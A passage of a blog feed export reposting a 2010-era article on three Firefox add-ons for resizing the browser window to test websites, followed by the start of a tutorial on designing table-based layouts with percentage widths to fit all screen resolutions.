&lt;div style=&quot;text-align: center;&quot;&gt;&lt;img alt=&quot;test website in different resolutions&quot; class=&quot;aligncenter&quot; height=&quot;304&quot; src=&quot;http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2010/02/firesizer1.jpg?323f2c&quot; style=&quot;border: 0pt none;&quot; width=&quot;580&quot; /&gt;&lt;/div&gt;Utilizing this add-on probably couldn’t be any easier!&amp;nbsp; Basically  look to the bottom bar and you’ll see where your current window size is   indicated…&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;img alt=&quot;test website in different resolutions&quot; class=&quot;aligncenter&quot; height=&quot;98&quot; src=&quot;http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2010/02/firesizer_sizeindicator.jpg?323f2c&quot; style=&quot;border: 0pt none;&quot; width=&quot;580&quot; /&gt;&lt;/div&gt;In order  to change the size of your browser window, just right-click  the size  indicator…                              &lt;br /&gt;
&lt;div id=&quot;muo_ad_middle&quot; style=&quot;line-height: 16px;&quot;&gt;                                        &lt;a href=&quot;http://www.google.com/url?ct=abg&amp;amp;q=https://www.google.com/adsense/support/bin/request.py%3Fcontact%3Dabg_afc%26url%3Dhttp://www.makeuseof.com/tag/3-firefox-plugins-test-website-resolutions/%26hl%3Den%26client%3Dca-pub-5700237260308472%26adU%3Dwww.logic-designs.com%26adT%3DWeb%2BDesign%2BOffers%26adU%3Dwww.actiTIME.com%26adT%3DFree%2BTime-Tracking%2BSoft%26adU%3Dwww.FilmFanatic.MyWebSearch.com%26adT%3DWatch%2BFree%2BVideos%26adU%3Dwww.htmlgoodies.com/html5/%26adT%3DThe%2BLatest%2Bon%2BHTML5%26gl%3DEG&amp;amp;usg=AFQjCNG2RIczfACQn5unKAUGyrdhpPs9Hw&quot; style=&quot;color: #333333; text-decoration: none;&quot;&gt;Ads by Google&lt;/a&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana,Tahoma;&quot;&gt;&lt;br /&gt;
&lt;a href=&quot;http://googleads.g.doubleclick.net/aclk?sa=L&amp;amp;ai=BLao14ZpKT4q8F4jX-ga4ptjeCNfFzYoCt77V_iTAjbcB8N9DEAEYASDjh4ANKAQ4AFD77PGi-f____8BYLP-0IL0LbIBEXd3dy5tYWtldXNlb2YuY29tugEKMzM2eDI4MF9qc8gBAdoBSGh0dHA6Ly93d3cubWFrZXVzZW9mLmNvbS90YWcvMy1maXJlZm94LXBsdWdpbnMtdGVzdC13ZWJzaXRlLXJlc29sdXRpb25zL6kCqL9Z33c8hj7IAu_vvRyoAwHoAyDoAwXoA_cJ9QMAAABE&amp;amp;num=1&amp;amp;sig=AOD64_1HU1JqUpWZWDV1MEc896VEfpDAxQ&amp;amp;client=ca-pub-5700237260308472&amp;amp;adurl=http://www.logic-designs.com&quot; style=&quot;text-decoration: none;&quot; target=&quot;_blank&quot;&gt; &lt;span style=&quot;color: #266dbd; font-size: 15px; font-weight: bold; text-decoration: underline;&quot;&gt; &lt;b&gt;Web Design Offers&lt;/b&gt;&lt;/span&gt;&lt;/a&gt; &lt;span&gt;&lt;a href=&quot;http://googleads.g.doubleclick.net/aclk?sa=L&amp;amp;ai=BLao14ZpKT4q8F4jX-ga4ptjeCNfFzYoCt77V_iTAjbcB8N9DEAEYASDjh4ANKAQ4AFD77PGi-f____8BYLP-0IL0LbIBEXd3dy5tYWtldXNlb2YuY29tugEKMzM2eDI4MF9qc8gBAdoBSGh0dHA6Ly93d3cubWFrZXVzZW9mLmNvbS90YWcvMy1maXJlZm94LXBsdWdpbnMtdGVzdC13ZWJzaXRlLXJlc29sdXRpb25zL6kCqL9Z33c8hj7IAu_vvRyoAwHoAyDoAwXoA_cJ9QMAAABE&amp;amp;num=1&amp;amp;sig=AOD64_1HU1JqUpWZWDV1MEc896VEfpDAxQ&amp;amp;client=ca-pub-5700237260308472&amp;amp;adurl=http://www.logic-designs.com&quot; style=&quot;color: #52b936; font-size: 12px; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;www.logic-designs.com&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #3b3128; font-size: 15px;&quot;&gt;Want To Create A Website Logic&amp;nbsp;Designs Offer 25% Discount Be Hurry&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana,Tahoma;&quot;&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.googleadservices.com/pagead/aclk?sa=L&amp;amp;ai=Bn-J-4ZpKT4q8F4jX-ga4ptjeCNOZzoMCi7ep-CHAjbcB0PcHEAIYAiDjh4ANKAQ4AFDK3teiBGCz_tCC9C2gAaew6v4DsgERd3d3Lm1ha2V1c2VvZi5jb226AQozMzZ4MjgwX2pzyAEB2gFIaHR0cDovL3d3dy5tYWtldXNlb2YuY29tL3RhZy8zLWZpcmVmb3gtcGx1Z2lucy10ZXN0LXdlYnNpdGUtcmVzb2x1dGlvbnMvgAIBqAMB6AMg6AMF6AP3CfUDAAAARIgGAQ&amp;amp;num=2&amp;amp;cid=5Gj-dkQUEGG53UiedVvUXjKs&amp;amp;sig=AOD64_0d1Gj2tbYFBvWLxXB-mAJuI9w7hQ&amp;amp;client=ca-pub-5700237260308472&amp;amp;adurl=http://www.actiTIME.com&quot; style=&quot;text-decoration: none;&quot; target=&quot;_blank&quot;&gt; &lt;span style=&quot;color: #266dbd; font-size: 15px; font-weight: bold; text-decoration: underline;&quot;&gt; &lt;b&gt;Free Time-Tracking Soft&lt;/b&gt;&lt;/span&gt;&lt;/a&gt; &lt;span&gt;&lt;a href=&quot;http://www.googleadservices.com/pagead/aclk?sa=L&amp;amp;ai=Bn-J-4ZpKT4q8F4jX-ga4ptjeCNOZzoMCi7ep-CHAjbcB0PcHEAIYAiDjh4ANKAQ4AFDK3teiBGCz_tCC9C2gAaew6v4DsgERd3d3Lm1ha2V1c2VvZi5jb226AQozMzZ4MjgwX2pzyAEB2gFIaHR0cDovL3d3dy5tYWtldXNlb2YuY29tL3RhZy8zLWZpcmVmb3gtcGx1Z2lucy10ZXN0LXdlYnNpdGUtcmVzb2x1dGlvbnMvgAIBqAMB6AMg6AMF6AP3CfUDAAAARIgGAQ&amp;amp;num=2&amp;amp;cid=5Gj-dkQUEGG53UiedVvUXjKs&amp;amp;sig=AOD64_0d1Gj2tbYFBvWLxXB-mAJuI9w7hQ&amp;amp;client=ca-pub-5700237260308472&amp;amp;adurl=http://www.actiTIME.com&quot; style=&quot;color: #52b936; font-size: 12px; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;www.actiTIME.com&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #3b3128; font-size: 15px;&quot;&gt;Web-based Time Tracking Software.&amp;nbsp;Download Free Version or Try Online&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana,Tahoma;&quot;&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.googleadservices.com/pagead/aclk?sa=L&amp;amp;ai=Bngr54ZpKT4q8F4jX-ga4ptjeCJiR4fwBqLyc-RzAjbcBwLgCEAMYAyDjh4ANKAQ4AFCslZrL-f____8BYLP-0IL0LaABwp_q6gOyARF3d3cubWFrZXVzZW9mLmNvbboBCjMzNngyODBfanPIAQHaAUhodHRwOi8vd3d3Lm1ha2V1c2VvZi5jb20vdGFnLzMtZmlyZWZveC1wbHVnaW5zLXRlc3Qtd2Vic2l0ZS1yZXNvbHV0aW9ucy_4AQGAAgHIApi2ux6oAwHoAyDoAwXoA_cJ9QMAAABEiAYB&amp;amp;num=3&amp;amp;cid=5Gj-dkQUEGG53UiedVvUXjKs&amp;amp;sig=AOD64_0Io1UD7yqI9b3jUfXQRA-8m2ndrQ&amp;amp;client=ca-pub-5700237260308472&amp;amp;adurl=http://filmfanatic.mywebsearch.com/download/index.jhtml%3Fspu%3Dtrue%26partner%3DZ1xdm040&quot; style=&quot;text-decoration: none;&quot; target=&quot;_blank&quot;&gt; &lt;span style=&quot;color: #266dbd; font-size: 15px; font-weight: bold; text-decoration: underline;&quot;&gt; &lt;b&gt;Watch Free Videos&lt;/b&gt;&lt;/span&gt;&lt;/a&gt; &lt;span&gt;&lt;a href=&quot;http://www.googleadservices.com/pagead/aclk?sa=L&amp;amp;ai=Bngr54ZpKT4q8F4jX-ga4ptjeCJiR4fwBqLyc-RzAjbcBwLgCEAMYAyDjh4ANKAQ4AFCslZrL-f____8BYLP-0IL0LaABwp_q6gOyARF3d3cubWFrZXVzZW9mLmNvbboBCjMzNngyODBfanPIAQHaAUhodHRwOi8vd3d3Lm1ha2V1c2VvZi5jb20vdGFnLzMtZmlyZWZveC1wbHVnaW5zLXRlc3Qtd2Vic2l0ZS1yZXNvbHV0aW9ucy_4AQGAAgHIApi2ux6oAwHoAyDoAwXoA_cJ9QMAAABEiAYB&amp;amp;num=3&amp;amp;cid=5Gj-dkQUEGG53UiedVvUXjKs&amp;amp;sig=AOD64_0Io1UD7yqI9b3jUfXQRA-8m2ndrQ&amp;amp;client=ca-pub-5700237260308472&amp;amp;adurl=http://filmfanatic.mywebsearch.com/download/index.jhtml%3Fspu%3Dtrue%26partner%3DZ1xdm040&quot; style=&quot;color: #52b936; font-size: 12px; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;www.FilmFanatic.MyWebSearch.com&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #3b3128; font-size: 15px;&quot;&gt;Watch Full-Screen, High-Res Movie&amp;nbsp;Clips &amp;amp; Trailers - Download Free!&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: Verdana,Tahoma;&quot;&gt;&lt;br /&gt;
&lt;a href=&quot;http://www.googleadservices.com/pagead/aclk?sa=L&amp;amp;ai=ByWkR4ZpKT4q8F4jX-ga4ptjeCJzshbkClKi1uSDU9omTFMCpBxAEGAQg44eADSgEOABQlvyYpvr_____AWCz_tCC9C2gAazwzfUDsgERd3d3Lm1ha2V1c2VvZi5jb226AQozMzZ4MjgwX2pzyAEB2gFIaHR0cDovL3d3dy5tYWtldXNlb2YuY29tL3RhZy8zLWZpcmVmb3gtcGx1Z2lucy10ZXN0LXdlYnNpdGUtcmVzb2x1dGlvbnMvgAIByALkrcEFqAMB6AMg6AMF6AP3CfUDAAAARIgGAQ&amp;amp;num=4&amp;amp;cid=5Gj-dkQUEGG53UiedVvUXjKs&amp;amp;sig=AOD64_24gcPnQwl3Py0ljcYHkrE3C0mlKA&amp;amp;client=ca-pub-5700237260308472&amp;amp;adurl=http://c.cliop.com/cgi/r%3F%3Bn%3D203%3Bc%3D848238%3Bs%3D3086%3Bx%3D7936%3Bf%3D201107181124370%3Bu%3Dj%3Bz%3DTIMESTAMP%3B%3Bq%3D1%3Bac%3D003%26ai%3D20B70D65865C147CBA2D5D361CDAAFF4A830569E%26ad%3D8614772948%26sp%3Dwww.makeuseof.com%26fb%3Dhtml%2520software%26mt%3D%26aceid%3D&quot; style=&quot;text-decoration: none;&quot; target=&quot;_blank&quot;&gt; &lt;span style=&quot;color: #266dbd; font-size: 15px; font-weight: bold; text-decoration: underline;&quot;&gt; &lt;b&gt;The Latest on HTML5&lt;/b&gt;&lt;/span&gt;&lt;/a&gt; &lt;span&gt;&lt;a href=&quot;http://www.googleadservices.com/pagead/aclk?sa=L&amp;amp;ai=ByWkR4ZpKT4q8F4jX-ga4ptjeCJzshbkClKi1uSDU9omTFMCpBxAEGAQg44eADSgEOABQlvyYpvr_____AWCz_tCC9C2gAazwzfUDsgERd3d3Lm1ha2V1c2VvZi5jb226AQozMzZ4MjgwX2pzyAEB2gFIaHR0cDovL3d3dy5tYWtldXNlb2YuY29tL3RhZy8zLWZpcmVmb3gtcGx1Z2lucy10ZXN0LXdlYnNpdGUtcmVzb2x1dGlvbnMvgAIByALkrcEFqAMB6AMg6AMF6AP3CfUDAAAARIgGAQ&amp;amp;num=4&amp;amp;cid=5Gj-dkQUEGG53UiedVvUXjKs&amp;amp;sig=AOD64_24gcPnQwl3Py0ljcYHkrE3C0mlKA&amp;amp;client=ca-pub-5700237260308472&amp;amp;adurl=http://c.cliop.com/cgi/r%3F%3Bn%3D203%3Bc%3D848238%3Bs%3D3086%3Bx%3D7936%3Bf%3D201107181124370%3Bu%3Dj%3Bz%3DTIMESTAMP%3B%3Bq%3D1%3Bac%3D003%26ai%3D20B70D65865C147CBA2D5D361CDAAFF4A830569E%26ad%3D8614772948%26sp%3Dwww.makeuseof.com%26fb%3Dhtml%2520software%26mt%3D%26aceid%3D&quot; style=&quot;color: #52b936; font-size: 12px; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;www.htmlgoodies.com/html5/&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: #3b3128; font-size: 15px;&quot;&gt;Get the latest articles now at:&amp;nbsp;The HTML5 Development Center&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;text-align: center;&quot;&gt;&lt;img alt=&quot;test website in different resolutions&quot; class=&quot;aligncenter&quot; height=&quot;141&quot; src=&quot;http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2010/02/firesizer_rightclick.jpg?323f2c&quot; style=&quot;border: 0pt none;&quot; width=&quot;580&quot; /&gt;&lt;/div&gt;There are  three common sizes to choose from.&amp;nbsp; You can either add a  customized  size by clicking “&lt;em&gt;Customize…&lt;/em&gt;” and adding your own  size…&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;img alt=&quot;firesizer_customesize&quot; height=&quot;315&quot; src=&quot;http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2010/02/firesizer_customesize.jpg?323f2c&quot; style=&quot;border: 0pt none;&quot; width=&quot;580&quot; /&gt;&lt;/div&gt;Or you can just click “&lt;em&gt;Save current size&lt;/em&gt;” in order to save the current size of the browser window to add it to the list of sizes…&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;img alt=&quot;firesizer_savecurrentsize&quot; height=&quot;168&quot; src=&quot;http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2010/02/firesizer_savecurrentsize.jpg?323f2c&quot; style=&quot;border: 0pt none;&quot; width=&quot;580&quot; /&gt;&lt;/div&gt;That is how easy this add-on really is!&amp;nbsp; Can you think of a quicker  or easier way to test website in different resolutions?&amp;nbsp; I sure   can’t!&lt;br /&gt;
&lt;h3&gt;&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/3287&quot;&gt;ResizeIT&lt;/a&gt;&lt;/h3&gt;The second Firefox add-on this article will be  covering is &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/3287&quot;&gt;ResizeIT&lt;/a&gt;.&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;img alt=&quot;ResizeIT&quot; height=&quot;355&quot; src=&quot;http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2010/02/ResizeIT.jpg?323f2c&quot; style=&quot;border: 0pt none;&quot; width=&quot;580&quot; /&gt;&lt;/div&gt;ResizeIT brings keyboard shortcuts to the table!&amp;nbsp; Basically you can  set different sizes to the 4 shortcuts and, all of a sudden, testing  your web projects at different  resolutions becomes even easier!&amp;nbsp; They  shortcut combos are ALT-1, ALT-2,  ALT-3 and ALT-4.&amp;nbsp; By going to the  TOOLS menu, choose Add-ons, and click the options button next to the  ResizeIT label.&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;img alt=&quot;ResizeIT_customize&quot; height=&quot;221&quot; src=&quot;http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2010/02/ResizeIT_customize.jpg?323f2c&quot; style=&quot;border: 0pt none;&quot; width=&quot;580&quot; /&gt;&lt;/div&gt;As you  can see, you can actually choose the size settings for the combos.&lt;br /&gt;
&lt;h3&gt;&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/2498&quot;&gt;Yet Another  Window Resizer&lt;/a&gt;&lt;/h3&gt;The last Firefox add-on this article will be covering is &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/2498&quot;&gt;Yet Another  Window Resizer&lt;/a&gt;.&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;img alt=&quot;yetanotherwindowresizer&quot; height=&quot;301&quot; src=&quot;http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2010/02/yetanotherwindowresizer.jpg?323f2c&quot; style=&quot;border: 0pt none;&quot; width=&quot;580&quot; /&gt;&lt;/div&gt;For the mouse users out there, this one is for you!&amp;nbsp; That’s because  resizing your Firefox window is just a right-click away!&amp;nbsp; Right-click  anywhere on a page and the “Resize Window” option shows up at the bottom  of the menu.&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;img alt=&quot;yetanotherwindowresizer_demo&quot; class=&quot;size-full wp-image-35217 aligncenter&quot; height=&quot;216&quot; src=&quot;http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2010/02/yetanotherwindowresizer_demo.jpg?323f2c&quot; style=&quot;border: 0pt none;&quot; width=&quot;580&quot; /&gt;&lt;/div&gt;Just like the other add-ons covered here, you can also set custom sizes.&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;&lt;img alt=&quot;yetanotherwindowresizer_options&quot; class=&quot;size-full wp-image-35218 aligncenter&quot; height=&quot;323&quot; src=&quot;http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2010/02/yetanotherwindowresizer_options.jpg?323f2c&quot; style=&quot;border: 0pt none;&quot; width=&quot;580&quot; /&gt;&lt;/div&gt;So there you have it, three Firefox add-ons that make it ieasy to  test website in different resolutions.&amp;nbsp; One gives you access in the  statusbar (&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/5792&quot;&gt;Firesizer&lt;/a&gt;), one using keyboard shortcuts (&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/3287&quot;&gt;ResizeIT&lt;/a&gt;), and yet another via the right-click menu (&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/2498&quot;&gt;Yet Another Window Resizer&lt;/a&gt;).&lt;br /&gt;
There are other ways of testing websites in different resolutions.&amp;nbsp;  One way is to have a second monitor with a different resolution set (as  mentioned in &lt;a href=&quot;http://www.makeuseof.com/tag/6-ways-to-set-u-dual-monitors-to-be-more-productive/&quot;&gt;this article&lt;/a&gt;).&amp;nbsp; What other ways do you, the readers, have for testing websites (and other projects) in different screen resolutions?&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://haythamhosney.blogspot.com/feeds/3126411798543725460/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://haythamhosney.blogspot.com/2012/02/3-firefox-plugins-to-test-your-website.html#comment-form' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/3126411798543725460'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3138548880507154050/posts/default/3126411798543725460'/><link rel='alternate' type='text/html' href='http://haythamhosney.blogspot.com/2012/02/3-firefox-plugins-to-test-your-website.html' title='3 Firefox Plugins To Test Your Website In Different Resolutions'/><author><name>haytham Hosney</name><uri>http://www.blogger.com/profile/08973214026428213555</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3138548880507154050.post-1152729505438205249</id><published>2012-02-26T12:46:00.001-08:00</published><updated>2012-02-26T12:46:35.726-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Designing Websites For All Screen Resolutions"/><title type='text'>Designing Websites For All Screen Resolutions</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;h2&gt;&lt;/h2&gt;&lt;table align=&quot;right&quot; border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; style=&quot;width: 180px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;                  &lt;td&gt;                    &lt;table border=&quot;0&quot; cellpadding=&quot;7&quot; cellspacing=&quot;0&quot; class=&quot;tablelt&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;                        &lt;td align=&quot;center&quot; bgcolor=&quot;#FFFFFF&quot; valign=&quot;middle&quot;&gt;                          &lt;a href=&quot;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;165&quot; src=&quot;http://www.entheosweb.com/images/templates/beauty7.jpg&quot; width=&quot;228&quot; /&gt;&lt;/a&gt;&lt;a class=&quot;subtitle&quot; href=&quot;http://www.entheosweb.com/website_templates/default.asp&quot; target=&quot;_blank&quot;&gt;&lt;br /&gt;
Professional Dreamweaver                            Templates!&lt;/a&gt;&lt;br /&gt;
&lt;/td&gt;                     &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;               &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;Tutorial on Designing for 800 x 600, 1024 x 768, 1280 x 1024 and higher&lt;br /&gt;
Designing web sites to fit all resolutions is a very important                web design principle. Try out the Entheos site in all resolutions                higher than 800 x 600 and you will find that it is designed to fit                the page exactly. Therefore, visitors who have higher resolution                can see more content in one page which reduces scrolling. Most web                sites are designed for only one resolution. They may look perfect                in a 800 x 600 resolution but if viewed in a 1024 x 768 resolution                look a little empty. You&#39;ll find a lot of wasted space around it                making the web site look quite small.&lt;br /&gt;
From our research we have found that majority of our viewers are                on the 1024x768 resolutions and higher. As time goes by more and                more people are going to switch to higher resolutions as seen by                our site statistics. It is therefore very important to design web                sites for all resolutions. That is one of the principles we follow                while designing web sites for our clients. With that bit of background                information, lets get started on how to design a web site for all                screen resolutions.&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;right&quot; border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;1&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;     &lt;td&gt; &lt;ins style=&quot;border: none; display: inline-table; height: 250px; margin: 0; padding: 0; position: relative; visibility: visible; width: 300px;&quot;&gt;&lt;ins id=&quot;aswift_1_anchor&quot; style=&quot;border: none; display: block; height: 250px; margin: 0; padding: 0; position: relative; visibility: visible; width: 300px;&quot;&gt;&lt;/ins&gt;&lt;/ins&gt;&lt;/td&gt;   &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h4&gt;Step 1: Decide on the lowest Screen Resolution &lt;/h4&gt;Before you start you need to decide on your lowest screen resolution.                Your web site will  have to be designed keeping the lowest resolution                in mind. Through our research we have found that less than 0.5%                are on the 640 x 480 resolution So we ignore that completely. The                next important resolution is the 800 x 600 resolution. Some of our                visitors are on this resolution so we use this as our lowest screen                resolution. This means that our web site has to fit all resolutions                equal to or higher than 800 x 600. &lt;br /&gt;
&lt;h4&gt;Step 2: Design Your Web Site On This Resolution &lt;/h4&gt;Once you decide on your lowest screen resolution you need to design                your web site for that resolution This means that all your graphics                will be designed for this resolution. Design your web site and export                the images as you would normally do. &lt;br /&gt;
&lt;h4&gt;Step 3: While converting your design to HTML make sure all your                tables are measured in terms of percentages &lt;/h4&gt;&lt;span class=&quot;subtitle&quot;&gt;Important:&lt;/span&gt; This is the trick to developing                web sites for all resolutions. You need to &lt;b&gt;work in terms of percentages                and not pixels.&lt;/b&gt; If you work in pixels you are giving an absolute                measurement to a table, whereas working in percentages gives a relative                measurement. The table will be a given percentage of the screen                resolution. &lt;br /&gt;
I hope you have understood this clearly. I&#39;d like to explain this                with an example. If you were to design a site for a 800 x 600 resolution,                you would probably make a table with width 800 px and height 600                px. Now if you were to design a web site for all resolutions you                need to make a table with width and height 100%, so that whatever                the screen resolution may be the web page will scale to fit the                page. It will be 100% of the screen resolution or whatever percentage                you choose to give it.&lt;br /&gt;
The first step is to make a table with 100% height and 100% width.                You could make it 95% if you want some white space around it. &lt;br /&gt;
&lt;h4&gt;Step 4: Within the table measure cells in terms of pixels except                for the cell for the content &lt;/h4&gt;This a another very important step. You need to give a fixed measurement                to all your cells except for the content cell. You can leave this                cell blank. &lt;br /&gt;
&lt;h3&gt;Simple Web Site Demonstration &lt;/h3&gt;Check this out at &lt;a href=&quot;&quot;&gt;640                x 480&lt;/a&gt;, &lt;a href=&quot;&quot;&gt;800                x 600&lt;/a&gt; and &lt;a href=&quot;&quot;&gt;1024                x 768&lt;/a&gt; resolutions&lt;br /&gt;
&lt;table align=&quot;center&quot; border=&quot;0&quot; cellpadding=&quot;6&quot; cellspacing=&quot;0&quot;&gt;&lt;tbody&gt;
&lt;tr bgcolor=&quot;#94B6DE&quot;&gt;                  &lt;td height=&quot;50&quot; width=&quot;120&quot;&gt;&lt;img height=&quot;8&quot; src=&quot;http://www.entheosweb.com/images/spacer.gif&quot; width=&quot;120&quot; /&gt;&lt;/td&gt;                 &lt;td bgcolor=&quot;#94B6DE&quot; height=&quot;50&quot;&gt;                    &lt;div align=&quot;center&quot;&gt;&lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: white; font-size: small;&quot;&gt;Web                      Site for All Resolutions&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;                 &lt;td height=&quot;50&quot; width=&quot;10&quot;&gt;&lt;img height=&quot;8&quot; src=&quot;http://www.entheosweb.com/images/spacer.gif&quot; width=&quot;10&quot; /&gt;&lt;/td&gt;               &lt;/tr&gt;
&lt;tr valign=&quot;top&quot;&gt;                  &lt;td bgcolor=&quot;#94B6DE&quot; width=&quot;120&quot;&gt;                    &lt;div align=&quot;center&quot;&gt;&lt;span style=&quot;color: white; font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;b&gt;                      Menu Bar&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align=&quot;center&quot;&gt;&lt;span style=&quot;color: white; font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;Link                      1&lt;br /&gt;
Link 2&lt;br /&gt;
Link 3&lt;/span&gt;&lt;/div&gt;&lt;/td&gt;                 &lt;td&gt;                    &lt;span style=&quot;font-family: Arial,Helvetica,sans-serif; font-size: x-small;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;table align=&quot;center&quot; border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;2&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;                        &lt;td class=&quot;text&quot; valign=&quot;top&quot;&gt; &lt;b&gt;Content&lt;/b&gt;                          This is a sample web site layout that demonstrates                            the design of web sites for all resolutions..... &lt;br /&gt;
This is a sample web site layout that demonstrates                            the design of web sites for all resolutions..... &lt;br /&gt;
&lt;/td&gt;                       &lt;td align=&quot;right&quot; valign=&quot;middle&quot;&gt;                         &lt;table bgcolor=&quot;#CCCCCC&quot; border=&quot;0&quot; cellpadding=&quot;1&quot; cellspacing=&quot;0&quot; style=&quot;width: 75px;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;                             &lt;td&gt;&lt;img height=&quot;95&quot; src=&quot;http://www.entheosweb.com/images/templates/screenshots/business1.jpg&quot; width=&quot;130&quot; /&gt;&lt;/td&gt;                           &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;                     &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/td&gt;                 &lt;td bgcolor=&quot;#94B6DE&quot; width=&quot;10&quot;&gt;&lt;img height=&quot;8&quot; src=&quot;http://www.entheosweb.com/images/spacer.gif&quot; width=&quot;10&quot; /&gt;&lt;/td&gt;               &lt;/tr&gt;
&lt;tr&gt;                  &lt;td bgcolor=&quot;#94B6DE&quot; height=&quot;20&quot; width=&quot;120&quot;&gt;&lt;img height=&quot;8&quot; src=&quot;http://www.entheosweb.com/images/spacer.gif&quot; width=&quot;10&quot; /&gt;&lt;/td&gt;                 &lt;td height=&quot;20&quot;&gt;&lt;br /&gt;
&lt;/td&gt;                 &lt;td bgcolor=&quot;#94B6DE&quot; height=&quot;20&quot; width=&quot;10&quot;&gt;&lt;img height=&quot;8&quot; src=&quot;http://www.entheosweb.com/images/spacer.gif&quot; width=&quot;10&quot; /&gt;&lt;/td&gt;               &lt;/tr&gt;
&lt;tr bgcolor=&quot;#000099&quot;&gt;                  &lt;td bgcolor=&quot;#94B6DE&quot; height=&quot;10&quot; width=&quot;120&quot;&gt;&lt;img height=&quot;8&quot; src=&quot;http://www.entheosweb.com/images/spacer.gif&quot; width=&quot;10&quot; /&gt;&lt;/td&gt;                 &lt;td bgcolor=&quot;#94B6DE&quot; height=&quot;10&quot;&gt;&lt;img height=&quot;8&quot; src=&quot;http://www.entheosweb.com/images/spacer.gif&quot; width=&quot;10&quot; /&gt;&lt;/td&gt;                 &lt;td bgcolor=&quot;#94B6DE&quot; height=&quot;10&quot; width=&quot;10&quot;&gt;&lt;img height=&quot;8&quot; src=&quot;http://www.entheosweb.com/images/spacer.gif&quot; width=&quot;10&quot; /&gt;&lt;/td&gt;               &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h3&gt;Notes: &lt;/h3&gt;&lt;ul class=&quot;bullet&quot;&gt;&lt;li&gt;The width and height are 100%&lt;/li&gt;
&lt;li&gt;The first and last columns are given fixed measurements of 120                  px and 10 px respectively&lt;/li&gt;
&lt;li&gt;The middle column (content column) is given no measurement so                  that it will scale to fit the page.&lt;/li&gt;
